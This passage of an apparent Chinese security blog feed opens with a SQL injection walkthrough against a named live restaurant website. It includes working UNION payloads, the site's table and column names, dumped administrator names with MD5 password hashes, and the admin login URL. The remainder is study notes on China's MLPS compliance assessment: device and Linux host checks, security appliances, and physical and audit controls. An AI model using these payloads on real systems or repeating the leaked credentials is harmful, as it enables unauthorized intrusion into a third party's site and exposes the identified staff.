&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;1、判断字符类型&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.minesushi.com/ch/news/detail.php?id=188&apos;

https://www.minesushi.com/ch/news/detail.php?id=188&quot;

为数字型
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;2、判断字段长度并联合注入&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.minesushi.com/ch/news/detail.php?id=188 order by 26

https://www.minesushi.com/ch/news/detail.php?id=188 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

在188前面加上负号，令前语句为假，让后语句执行单独显现

https://www.minesushi.com/ch/news/detail.php?id=-188 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

	7,10,13,21 回显
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;3、查询数据库名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.minesushi.com/ch/news/detail.php?id=-188 union select 
1,2,3,4,5,6,7,8,9,10,11,12,database(),14,15,16,17,18,19,20,21,22,23,24,25,26

minesushi_hk
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;4、查询数据表名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.minesushi.com/ch/news/detail.php?id=-188 union select 1,2,3,4,5,6,7,8,9,10,11,12,group_concat(table_name),14,15,16,17,18,19,20,21,22,23,24,25,26  from information_schema.tables where table_schema=&apos;minesushi_hk&apos;
-------
Log_Update,Manager,PDFMenu,Photos,Schedule,Setting,Sys_Budget,Sys_News,Sys_Sales,TopImage,admin_news,admin_report,admin_report_base,admin_schedule,comments,links,manager,menu,news,poll,poll_responses,public_file,questions,recruit_personal,responses,shop,shop_photo,site_manage,words
-------
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;5、查询数据列名&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.minesushi.com/ch/news/detail.php?id=-188 union select 1,2,3,4,5,6,7,8,9,10,11,12,group_concat(column_name),14,15,16,17,18,19,20,21,22,23,24,25,26  from information_schema.columns where table_schema=&apos;minesushi_hk&apos; and table_name=&apos;Manager&apos;
-------
id,name,shop_id,manage_id,password,pages,level,is_delete,created_at,updated_at
-------
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;6、查询数据信息&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.minesushi.com/ch/news/detail.php?id=-188 union select 1,2,3,4,5,6,7,8,9,10,11,12,group_concat(name),14,15,16,17,18,19,20,group_concat(password),22,23,24,25,26  from Manager

又或者

https://www.minesushi.com/ch/news/detail.php?id=-188 union select 1,2,3,4,5,6,7,8,9,10,11,12,group_concat(name,&apos;---&apos;,password),14,15,16,17,18,19,20,21,22,23,24,25,26  from Manager
-------
Guest---9b16a4d659621a08f5e9768b7b48a2a4
鄭武憲---9cc5b0badd95818efd0cc2485dd1f23f
Recruit Admin---7479892e9b4ccc27689e5893cd147184
林春樹---38d225a811d087ce8e34ca51a98bf380
8lab---f46739d56045c2a513b1079e2e1c5e99
-------
&lt;/code&gt;&lt;/pre&gt;
&lt;h6&gt;7、后台登录界面&lt;/h6&gt;
&lt;pre&gt;&lt;code&gt;https://www.minesushi.com/admin/login.php
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>等保：网络设备测评</title><link>https://wangyi187.top/posts/mlps-14-network-assess/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-14-network-assess/</guid><description>网络设备测评 身份鉴别 show run include user 回退方案 show run include lock 登录失败处理 show run include timeo</description><pubDate>Mon, 01 Apr 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;网络设备测评&lt;/h1&gt;
&lt;h3&gt;身份鉴别&lt;/h3&gt;
&lt;p&gt;show run | include user&lt;/p&gt;
&lt;p&gt;回退方案&lt;/p&gt;
&lt;p&gt;show run | include lock --- 登录失败处理&lt;/p&gt;
&lt;p&gt;show run | include timeout --- 连接超时&lt;/p&gt;
&lt;h3&gt;访问控制&lt;/h3&gt;
&lt;p&gt;三权分立&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;username 用户名 privilege ...（设置三个不同等级用户） password 密码
在vty链路中，启用用户登录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;e）f）g）不适用&lt;/p&gt;
&lt;h3&gt;安全审计&lt;/h3&gt;
&lt;p&gt;show run | include log&lt;/p&gt;
&lt;h3&gt;入侵防范&lt;/h3&gt;
&lt;p&gt;a）不适用&lt;/p&gt;
&lt;p&gt;b）nmap扫&lt;/p&gt;
&lt;p&gt;c）show run | include access-list，vty链路&lt;/p&gt;
&lt;p&gt;d）不适用&lt;/p&gt;
&lt;p&gt;f）不适用&lt;/p&gt;
&lt;h3&gt;恶意代码防范&lt;/h3&gt;
&lt;p&gt;不适用&lt;/p&gt;
</content:encoded></item><item><title>等保：Linux 主机测评</title><link>https://wangyi187.top/posts/mlps-12-linux-assess/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-12-linux-assess/</guid><description>Linux主机测评 身份鉴别 a）是否有用户名和密码进行身份鉴别，是否有重复用户 /etc/shadow 密码信息文件 /etc/passwd 用户信息文件 /etc/pam.d/</description><pubDate>Thu, 28 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux主机测评&lt;/h1&gt;
&lt;h3&gt;身份鉴别&lt;/h3&gt;
&lt;p&gt;a）是否有用户名和密码进行身份鉴别，是否有重复用户&lt;/p&gt;
&lt;p&gt;/etc/shadow --- 密码信息文件&lt;/p&gt;
&lt;p&gt;/etc/passwd --- 用户信息文件&lt;/p&gt;
&lt;p&gt;/etc/pam.d/system-auth --- 密码复杂度&lt;/p&gt;
&lt;p&gt;/etc/login.defs --- 密码有效期&lt;/p&gt;
&lt;p&gt;b）登录失败处理功能&lt;/p&gt;
&lt;p&gt;/etc/pam.d/system-auth --- 账户锁定策略&lt;/p&gt;
&lt;p&gt;/etc/profile --- 连接超时&lt;/p&gt;
&lt;p&gt;source /etc/profile	//重新加载文件&lt;/p&gt;
&lt;p&gt;c）远程管理防窃听，使用ssh服务，关闭telnet服务&lt;/p&gt;
&lt;p&gt;systemctl status sshd&lt;/p&gt;
&lt;p&gt;netstat -atunlp | grep 22&lt;/p&gt;
&lt;p&gt;ps -ef | grep sshd	//超过一行说明有开启&lt;/p&gt;
&lt;p&gt;d）双因素认证&lt;/p&gt;
&lt;p&gt;一般静态特征+动态特征&lt;/p&gt;
&lt;p&gt;通过堡垒机实现双重密码鉴别 --- 补偿措施&lt;/p&gt;
&lt;h3&gt;访问控制&lt;/h3&gt;
&lt;p&gt;三权分立&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;锁定/解锁用户
usermod -L/-U 用户名
passwd -l/-u 用户名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;主体 --- 用户&lt;/p&gt;
&lt;p&gt;客体 --- 文件&lt;/p&gt;
&lt;p&gt;粒度 --- 细化程度&lt;/p&gt;
&lt;h3&gt;安全审计&lt;/h3&gt;
&lt;p&gt;a）是否有开启审计功能&lt;/p&gt;
&lt;p&gt;systemctl status auditd/rsyslog&lt;/p&gt;
&lt;p&gt;ps -ef | grep auditd/rsyslog&lt;/p&gt;
&lt;p&gt;b）一般有日志就行&lt;/p&gt;
&lt;p&gt;tail /var/log/audit/audit.log&lt;/p&gt;
&lt;p&gt;c）日志是否有外发到日审做备份，留存时间是否符合法律法规要求（不少于180天）&lt;/p&gt;
&lt;p&gt;d）是否所有用户都可以关闭审计进程&lt;/p&gt;
&lt;h3&gt;入侵防范&lt;/h3&gt;
&lt;p&gt;a）服务器中仅安装进程运行相关的软件&lt;/p&gt;
&lt;p&gt;b）nmap扫&lt;/p&gt;
&lt;p&gt;c）管理地址，黑白名单或iptables&lt;/p&gt;
&lt;p&gt;d）Nessus漏扫&lt;/p&gt;
&lt;p&gt;e）不适用&lt;/p&gt;
&lt;p&gt;测的是应用系统&lt;/p&gt;
&lt;p&gt;人机接口：提供让用户输入内容的方框&lt;/p&gt;
&lt;p&gt;f）是否有安装入侵防范软件，如clamAV&lt;/p&gt;
&lt;p&gt;网络环境中部署入侵检测系统 --- 补偿措施&lt;/p&gt;
&lt;h3&gt;恶意代码防范&lt;/h3&gt;
&lt;p&gt;是否有安装恶意代码防范软件&lt;/p&gt;
&lt;p&gt;网络环境中部署防病毒网关 --- 补偿措施&lt;/p&gt;
&lt;h3&gt;可信验证&lt;/h3&gt;
&lt;p&gt;不符合&lt;/p&gt;
&lt;h3&gt;数据备份恢复&lt;/h3&gt;
&lt;p&gt;a）是否有备份&lt;/p&gt;
&lt;p&gt;b）是否有异地备份&lt;/p&gt;
&lt;p&gt;c）是否有做热冗余&lt;/p&gt;
&lt;h3&gt;数据完整性/保密性&lt;/h3&gt;
&lt;p&gt;不适用&lt;/p&gt;
&lt;h3&gt;剩余/个人信息保护&lt;/h3&gt;
&lt;p&gt;Linux不适用&lt;/p&gt;
</content:encoded></item><item><title>等保：剩余安全设备</title><link>https://wangyi187.top/posts/mlps-10-other-devices/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-10-other-devices/</guid><description>剩余安全设备 负载均衡产品 链路负载均衡 服务器负载均衡 全局负载均衡 负载均衡的好处 1.拓展网络设备和服务器的带宽 2.增加吞吐量，加强网络处理能力 3.提高网络的灵活性和可用</description><pubDate>Sun, 24 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;剩余安全设备&lt;/h1&gt;
&lt;h2&gt;负载均衡产品&lt;/h2&gt;
&lt;p&gt;链路负载均衡&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;防火墙，上网行为管理...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器负载均衡&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;多台服务器提供相应的功能，把访问需求，均分到各台服务器上
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;全局负载均衡&lt;/p&gt;
&lt;h3&gt;负载均衡的好处&lt;/h3&gt;
&lt;p&gt;1.拓展网络设备和服务器的带宽&lt;/p&gt;
&lt;p&gt;2.增加吞吐量，加强网络处理能力&lt;/p&gt;
&lt;p&gt;3.提高网络的灵活性和可用性&lt;/p&gt;
&lt;h3&gt;负载均衡的高级功能（应用优化）&lt;/h3&gt;
&lt;p&gt;1.TCP连接复用&lt;/p&gt;
&lt;p&gt;2.HTTP压缩&lt;/p&gt;
&lt;p&gt;3.SSL卸载&lt;/p&gt;
&lt;p&gt;降低服务器处理压力，提高服务器处理效率&lt;/p&gt;
&lt;h2&gt;异常流量清洗（抗DDOS）&lt;/h2&gt;
&lt;p&gt;抗D设备&lt;/p&gt;
&lt;p&gt;厂商：绿盟，阿里巴巴...&lt;/p&gt;
&lt;p&gt;部署模式：透明部署，旁路部署&lt;/p&gt;
&lt;h3&gt;处理架构&lt;/h3&gt;
&lt;p&gt;黑白名单：恶意网站，直接屏蔽&lt;/p&gt;
&lt;p&gt;基础规则匹配：类似防火墙的安全策略，安全设备的基本防护手段&lt;/p&gt;
&lt;p&gt;首包丢弃：抗DDOS设备会丢弃半连接请求&lt;/p&gt;
&lt;p&gt;真实源校验：代理响应，在访问服务器时，先跟抗D建立连接，只有连接建立成功后，才会把数据交给服务器&lt;/p&gt;
&lt;p&gt;基线分析：根据日常访问情况，形成一定基线指标&lt;/p&gt;
&lt;p&gt;插件防护：针对一些服务的防护&lt;/p&gt;
&lt;p&gt;主要应用场景：企业网出口，数据中心出口，运营商城域网出口&lt;/p&gt;
&lt;h2&gt;漏洞扫描设备&lt;/h2&gt;
&lt;p&gt;软件漏扫：Nessus，AWVS，kali，goby，X-Scan，SuperScan...&lt;/p&gt;
&lt;p&gt;硬件漏扫&lt;/p&gt;
&lt;p&gt;基本功能：模拟黑客进行无害的攻击渗透，检测系统中一些存在的木马&lt;/p&gt;
&lt;h2&gt;APT防护设备&lt;/h2&gt;
&lt;p&gt;高级持续性威胁&lt;/p&gt;
&lt;p&gt;防止看似正常的文件进来后潜伏在服务器中&lt;/p&gt;
&lt;p&gt;沙箱技术，加速模拟文件运行状态&lt;/p&gt;
&lt;h2&gt;安全平台&lt;/h2&gt;
&lt;h3&gt;SSM安全业务管理中心&lt;/h3&gt;
&lt;p&gt;偏向于设备控制&lt;/p&gt;
&lt;p&gt;主要功能：&lt;/p&gt;
&lt;p&gt;1.设备监控管理，日志综合收集，攻击事件分析，策略统一配置，做设备和日志的基础管理等&lt;/p&gt;
&lt;p&gt;2.形成内部安全图标的描绘，安全资源的调度&lt;/p&gt;
&lt;h3&gt;态势感知&lt;/h3&gt;
&lt;p&gt;偏向于整网的安全评估&lt;/p&gt;
&lt;p&gt;厂商：安恒，360，启明，深信服，华为，华三，锐捷...&lt;/p&gt;
&lt;p&gt;底层核心技术：日志分析，流量分析&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;态 --- 事态可评估
势 --- 趋势可预知
感 --- 风险可感应
知 --- 知行可管控

感知安全，主动防御
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;情报驱动：设备规则库，中国反网络病毒联盟，CNVD等&lt;/p&gt;
</content:encoded></item><item><title>等保：安全管理中心</title><link>https://wangyi187.top/posts/mlps-11-soc/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-11-soc/</guid><description>安全产品部署方案总结 串联/路由部署：写IP的正常部署模式 透明部署：只会对经过的流量进行检测或拦截 旁路部署：只能检测流量，没有拦截功能 镜像口：将一个或多个源端口的数据流量转发</description><pubDate>Sun, 24 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;安全产品部署方案总结&lt;/h2&gt;
&lt;p&gt;串联/路由部署：写IP的正常部署模式&lt;/p&gt;
&lt;p&gt;透明部署：只会对经过的流量进行检测或拦截&lt;/p&gt;
&lt;p&gt;旁路部署：只能检测流量，没有拦截功能&lt;/p&gt;
&lt;p&gt;镜像口：将一个或多个源端口的数据流量转发到某一个指定端口来实现对网络的监听&lt;/p&gt;
&lt;h3&gt;常见的旁挂安全设备&lt;/h3&gt;
&lt;p&gt;日志审计系统，数据库审计系统，堡垒机，入侵检测系统，漏洞扫描设备，服务器负载均衡...&lt;/p&gt;
&lt;h3&gt;常见的串行安全设备&lt;/h3&gt;
&lt;p&gt;防火墙，入侵防御系统，行为审计，链路负载均衡，WAF...&lt;/p&gt;
&lt;h2&gt;安全管理中心&lt;/h2&gt;
&lt;h3&gt;系统/审计/安全管理&lt;/h3&gt;
&lt;p&gt;三权分立&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;系统管理员：系统设置，系统参数，接口IP等（system，sys）
审计管理员：看日志（audit，aud）
安全管理员：部署策略，注册表，文件策略等（sec，security）

没有最高管理员权限账号（超级管理员）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;a）应对系统/审计/安全管理员进行身份鉴别，--- 是否有配置系统/审计/安全管理员并进行身份鉴别&lt;/p&gt;
&lt;p&gt;只允许其通过特定的命令或操作界面进行系统/审计/安全管理操作，--- 只能通过一种方式对设备进行管理&lt;/p&gt;
&lt;p&gt;并对这些操作进行审计；--- 要有审计记录，一般要求统一审计&lt;/p&gt;
&lt;p&gt;b）是否有配置系统/审计/安全管理员&lt;/p&gt;
&lt;h3&gt;集中控制&lt;/h3&gt;
&lt;p&gt;a）是否有划分管理区域，安全设备或组件的管理设备是否在管理区域&lt;/p&gt;
&lt;p&gt;b）加密协议&lt;/p&gt;
&lt;p&gt;c）终端管理系统，态势感知&lt;/p&gt;
&lt;p&gt;d）是否有部署日审，是否有采集所有设备，审计记录是否符合法律法规要求（不少于180天）&lt;/p&gt;
&lt;p&gt;e）终端管理系统，态势感知&lt;/p&gt;
&lt;p&gt;f）是否有部署相对应的可以检测分析并报警的设备&lt;/p&gt;
</content:encoded></item><item><title>等保：安全通信网络与区域边界</title><link>https://wangyi187.top/posts/mlps-09-network-boundary/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-09-network-boundary/</guid><description>安全通信网络 主要是针对网络传输、网络设备、通信线路等对象来做的管理或防护的一些要求 网络架构 a） 接口自适应 b） 运营商的带宽是否符合业务高峰期需要 问业主 c） 是否有划分</description><pubDate>Thu, 21 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;安全通信网络&lt;/h2&gt;
&lt;p&gt;主要是针对网络传输、网络设备、通信线路等对象来做的管理或防护的一些要求&lt;/p&gt;
&lt;h3&gt;网络架构&lt;/h3&gt;
&lt;p&gt;a）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;show ip int br
show int f3/0/1
E --- 十兆
F --- 百兆
G --- 千兆
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接口自适应&lt;/p&gt;
&lt;p&gt;b）&lt;/p&gt;
&lt;p&gt;运营商的带宽是否符合业务高峰期需要&lt;/p&gt;
&lt;p&gt;问业主&lt;/p&gt;
&lt;p&gt;c）&lt;/p&gt;
&lt;p&gt;是否有划分区域和网段&lt;/p&gt;
&lt;p&gt;d）&lt;/p&gt;
&lt;p&gt;业务区是否有连外网，业务区和其他区域之间是否有部署防火墙，且防火墙策略是否合规（不能有冲突、冗余、全通等无效策略）&lt;/p&gt;
&lt;p&gt;e）&lt;/p&gt;
&lt;p&gt;是否有做冗余，一般热冗余&lt;/p&gt;
&lt;h3&gt;通信传输&lt;/h3&gt;
&lt;p&gt;加密协议&lt;/p&gt;
&lt;p&gt;网络设备 --- ssh&lt;/p&gt;
&lt;p&gt;安全设备 --- https&lt;/p&gt;
&lt;h3&gt;可信验证&lt;/h3&gt;
&lt;p&gt;在系统启动时，是否能在BIOS检测到木马&lt;/p&gt;
&lt;p&gt;不符合&lt;/p&gt;
&lt;h2&gt;安全区域边界&lt;/h2&gt;
&lt;p&gt;主要是针对网络边界做的一些防护要求&lt;/p&gt;
&lt;h3&gt;边界防护&lt;/h3&gt;
&lt;p&gt;a）&lt;/p&gt;
&lt;p&gt;是否有部署边界防火墙，策略是否合规&lt;/p&gt;
&lt;p&gt;b）&lt;/p&gt;
&lt;p&gt;防内联&lt;/p&gt;
&lt;p&gt;终端管理系统，也可以通过防火墙实现（不允许未知地址访问到内网中），精确到IP级（主机级），不能是网段&lt;/p&gt;
&lt;p&gt;终端管理系统（UMC，天擎等）：MAC地址绑定，规定哪些设备可以访问内网的流量&lt;/p&gt;
&lt;p&gt;c）&lt;/p&gt;
&lt;p&gt;防外联&lt;/p&gt;
&lt;p&gt;可以限制用户访问哪些网络，上网行为管理，也可以通过防火墙实现（对应IP地址禁止访问某些网络）&lt;/p&gt;
&lt;p&gt;d）&lt;/p&gt;
&lt;p&gt;机房是否有无线网络，如果没有无线，就不适用；如果有，看是否有AC（无线控制器），是否有做基于IP或基于MAC的限制&lt;/p&gt;
&lt;h3&gt;访问控制&lt;/h3&gt;
&lt;p&gt;a）&lt;/p&gt;
&lt;p&gt;区域边界是否有部署防火墙，策略是否合规&lt;/p&gt;
&lt;p&gt;b）&lt;/p&gt;
&lt;p&gt;策略是否合规&lt;/p&gt;
&lt;p&gt;c）&lt;/p&gt;
&lt;p&gt;查看ACL是否能匹配到相对应的数据包&lt;/p&gt;
&lt;p&gt;d）&lt;/p&gt;
&lt;p&gt;是否有部署状态检测防火墙或下一代防火墙&lt;/p&gt;
&lt;p&gt;e）&lt;/p&gt;
&lt;p&gt;是否有部署web应用防火墙，是否有策略，规则库版本是否最新（一般最长时间不超过2个月）&lt;/p&gt;
&lt;h3&gt;入侵防范&lt;/h3&gt;
&lt;p&gt;a）&lt;/p&gt;
&lt;p&gt;是否有部署IPS，是否有策略，规则库是否最新版本&lt;/p&gt;
&lt;p&gt;b）&lt;/p&gt;
&lt;p&gt;是否有部署IPS，是否有策略，规则库是否最新版本&lt;/p&gt;
&lt;p&gt;没有IPS --- 旁挂IDS（补偿措施）&lt;/p&gt;
&lt;p&gt;c）&lt;/p&gt;
&lt;p&gt;是否有部署IPS或IDS，规则库版本是否最新&lt;/p&gt;
&lt;p&gt;d）&lt;/p&gt;
&lt;p&gt;是否有部署能进行检测并报警的设备&lt;/p&gt;
&lt;h3&gt;恶意代码和垃圾邮件防范&lt;/h3&gt;
&lt;p&gt;安全网关&lt;/p&gt;
&lt;p&gt;防病毒网关&lt;/p&gt;
&lt;p&gt;相对应模块是否有开启过滤，规则库版本是否最新&lt;/p&gt;
&lt;h3&gt;可信验证&lt;/h3&gt;
&lt;p&gt;不符合&lt;/p&gt;
</content:encoded></item><item><title>等保：主流审计设备</title><link>https://wangyi187.top/posts/mlps-08-audit-devices/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-08-audit-devices/</guid><description>主流审计设备 内容审计：上网行为管理，日志审计系统 数据库审计：数据库审计 运维审计：堡垒机 上网行为管理 流控（流量控制）设备和上网行为管理合称为应用控制网关 华三 流控设备和上</description><pubDate>Wed, 20 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;主流审计设备&lt;/h1&gt;
&lt;p&gt;内容审计：上网行为管理，日志审计系统&lt;/p&gt;
&lt;p&gt;数据库审计：数据库审计&lt;/p&gt;
&lt;p&gt;运维审计：堡垒机&lt;/p&gt;
&lt;h2&gt;上网行为管理&lt;/h2&gt;
&lt;p&gt;流控（流量控制）设备和上网行为管理合称为应用控制网关 --- 华三&lt;/p&gt;
&lt;h3&gt;流控设备和上网行为管理的区别&lt;/h3&gt;
&lt;p&gt;1.产品类别和倾向不同&lt;/p&gt;
&lt;p&gt;上网行为管理作为安全设备，倾向管理和控制、限制用户&lt;/p&gt;
&lt;p&gt;流控设备作为网络优化设备&lt;/p&gt;
&lt;p&gt;2.使用规模和场景不同&lt;/p&gt;
&lt;p&gt;上网行为管理一般用于中小型企业&lt;/p&gt;
&lt;p&gt;流控设备用于大型网络居多，可以和认证系统联动，实现用户按流量计费&lt;/p&gt;
&lt;p&gt;流控设备偏向于链路控制，网络优化&lt;/p&gt;
&lt;p&gt;上网行为管理偏向于限制你能访问的网站&lt;/p&gt;
&lt;h3&gt;上网行为管理的功能&lt;/h3&gt;
&lt;p&gt;1.业务快速部署&lt;/p&gt;
&lt;p&gt;可以节约带宽资源，实现应用快速下发&lt;/p&gt;
&lt;p&gt;2.业务运行时可以进行行为管理&lt;/p&gt;
&lt;p&gt;3.业务可视化，能做审计&lt;/p&gt;
&lt;h3&gt;流控特色功能&lt;/h3&gt;
&lt;p&gt;智能选路：根据访问地址，自动选择所属运营商，按业务选择最优链路&lt;/p&gt;
&lt;h2&gt;!!!日志审计系统&lt;/h2&gt;
&lt;p&gt;用于全面搜集应用系统钟常见的网络设备、安全设备、数据库、服务器、应用系统等所产生的日志；并进行存储、监控、审计、分析、报警和定制报告等&lt;/p&gt;
&lt;p&gt;基本功能：日志监控，日志采集，日志存储，日志检索，日志转发&lt;/p&gt;
&lt;h2&gt;数据库审计系统&lt;/h2&gt;
&lt;p&gt;一种记录数据库操作行为的系统&lt;/p&gt;
&lt;p&gt;两点功能：&lt;/p&gt;
&lt;p&gt;1.支持主流数据库，全面记录数据库访问行为，并完成追踪溯源&lt;/p&gt;
&lt;p&gt;2.支持检测数据库漏洞扫描，提供漏洞报告及解决建议&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;违规事件的事后溯源
数据库安全评估及违规行为实时预警
基于海量审计数据的合规安全挖掘分析
阻断攻击 保护数据库安全
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;通过采集数据库流量（镜像口）进行解析还原，再通过规则和报表等分析手段，发现数据库的违规行为&lt;/p&gt;
&lt;h2&gt;!!!堡垒机&lt;/h2&gt;
&lt;p&gt;两大功能：单点登录，运维审计&lt;/p&gt;
&lt;p&gt;1.支持统一账户管理和单点登录&lt;/p&gt;
&lt;p&gt;授权管理：把设备分组，把人分组，什么人可以用什么设备，避免越权事件产生&lt;/p&gt;
&lt;p&gt;2.堡垒机可以对用户账户进行集中审计和及时处理，方便定责&lt;/p&gt;
&lt;p&gt;4A认证：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;操作审计 你做了什么？
权限控制 你能做什么？
访问认证 你的身份是否合法？
身份管理 你是谁？
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一般采用旁路部署，连接核心交换机，不改变用户网络结构&lt;/p&gt;
</content:encoded></item><item><title>等保：安全物理环境</title><link>https://wangyi187.top/posts/mlps-07-physical/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-07-physical/</guid><description>安全物理环境 物理位置选择 防震 抗震设防审批文档 防风和防雨 窗户是否紧闭，是否有雨水渗透情况 物理访问控制 是否有电子门禁 保安 24小时值守 降危（补偿措施） 防盗窃和防破坏</description><pubDate>Tue, 19 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;安全物理环境&lt;/h1&gt;
&lt;h3&gt;物理位置选择&lt;/h3&gt;
&lt;p&gt;防震 --- 抗震设防审批文档&lt;/p&gt;
&lt;p&gt;防风和防雨 --- 窗户是否紧闭，是否有雨水渗透情况&lt;/p&gt;
&lt;h3&gt;物理访问控制&lt;/h3&gt;
&lt;p&gt;是否有电子门禁&lt;/p&gt;
&lt;p&gt;保安 24小时值守 --- 降危（补偿措施）&lt;/p&gt;
&lt;h3&gt;防盗窃和防破坏&lt;/h3&gt;
&lt;p&gt;a）设备固定在机柜上，机柜固定，设备贴标签&lt;/p&gt;
&lt;p&gt;b）通信线缆隐蔽铺设&lt;/p&gt;
&lt;p&gt;c）防盗报警系统或24小时监控值守&lt;/p&gt;
&lt;h3&gt;防火&lt;/h3&gt;
&lt;p&gt;自动消防系统&lt;/p&gt;
&lt;p&gt;自动检测火情、自动报警 --- 烟感&lt;/p&gt;
&lt;p&gt;烟感+手提式灭火器 --- 补偿措施&lt;/p&gt;
&lt;p&gt;机房是否有可燃物&lt;/p&gt;
&lt;p&gt;机房是否有划分区域&lt;/p&gt;
&lt;h3&gt;防水和防潮&lt;/h3&gt;
&lt;p&gt;a）窗户密封，无渗水现象&lt;/p&gt;
&lt;p&gt;b）精密空调，若没有精密空调，用多台空调补偿&lt;/p&gt;
&lt;h3&gt;电力供应&lt;/h3&gt;
&lt;p&gt;UPS后备电源系统&lt;/p&gt;
&lt;h3&gt;电磁防护&lt;/h3&gt;
&lt;p&gt;屏蔽双绞线，屏蔽机柜&lt;/p&gt;
</content:encoded></item><item><title>等保：安全产品</title><link>https://wangyi187.top/posts/mlps-06-products/</link><guid isPermaLink="true">https://wangyi187.top/posts/mlps-06-products/</guid><description>安全产品 三类厂商 既做网络设备也做安全设备：华为，华三，迪普... 专业安全厂商：启明星辰，天融信，深信服，360，奇安信，网御星云... 安全小众厂商：北信源的终端安全设备，齐</description><pubDate>Sun, 17 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;安全产品&lt;/h1&gt;
&lt;h2&gt;三类厂商&lt;/h2&gt;
&lt;p&gt;既做网络设备也做安全设备：华为，华三，迪普...&lt;/p&gt;
&lt;p&gt;专业安全厂商：启明星辰，天融信，深信服，360，奇安信，网御星云...&lt;/p&gt;
&lt;p&gt;安全小众厂商：北信源的终端安全设备，齐治的堡垒机，合众的数据交换平台&lt;/p&gt;
&lt;p&gt;工控：四方，南瑞，科东...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;网络设备 --- 起业务承载流量的作用
安全设备 --- 有一个独立功能/特点

防护型（如FW，IPS...），审计型（如日审，堡垒机...）
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;安全产品相关性能指标&lt;/h2&gt;
&lt;p&gt;1.整机吞吐量&lt;/p&gt;
&lt;p&gt;指安全产品在状态检测机制下能够处理一定包长数据的最大转发能力，业界默认一般采用打包衡量安全产品对报文的处理能力&lt;/p&gt;
&lt;p&gt;10G 3G 1/3&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;高负载跑对设备损害大
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;2.最大并发连接数&lt;/p&gt;
&lt;p&gt;指安全产品可以同时容纳的最大的连接数目，一个连接就是一个TCP/UDP的访问&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;同时在线连接数
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;3.每秒新建连接数&lt;/p&gt;
&lt;p&gt;指每秒钟可以通过安全产品建立起来的完整TCP/UDP连接&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;单位时间内连接数
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;防火墙 --- FW&lt;/h2&gt;
&lt;p&gt;作用：保护网络周边安全的关键设备，可以划分安全区域&lt;/p&gt;
&lt;p&gt;基本功能：网络隔离和访问控制，VPN（IPSec VPN，分支网络互联，SSLVPN，移动终端接入），NAT&lt;/p&gt;
&lt;p&gt;一般作为区域之间的网关，或出口网关&lt;/p&gt;
&lt;h3&gt;类型&lt;/h3&gt;
&lt;p&gt;1.早期包过滤防火墙：具有ACL功能的路由器&lt;/p&gt;
&lt;p&gt;2.状态检测防火墙：只检测首包，如果首包通过，则放行同一个会话的其他流量。提高防火墙效率，减轻负担&lt;/p&gt;
&lt;p&gt;3.下一代防火墙：本质是状态检测，新增了付费模块&lt;/p&gt;
&lt;h4&gt;下一代防火墙和传统防火墙的差异&lt;/h4&gt;
&lt;p&gt;1.下一代防火墙从多因素考虑安全（深度识别。基于位置、身份ID、终端设备、业务识别...），传统防火墙基于网络层和传输层&lt;/p&gt;
&lt;p&gt;2.一体化安全策略（图形化，配置更简单）&lt;/p&gt;
&lt;p&gt;3.智能安全策略，策略合规鉴别，策略冗余检测，策略自动推荐，策略匹配统计&lt;/p&gt;
&lt;h3&gt;web应用防火墙---WAF&lt;/h3&gt;
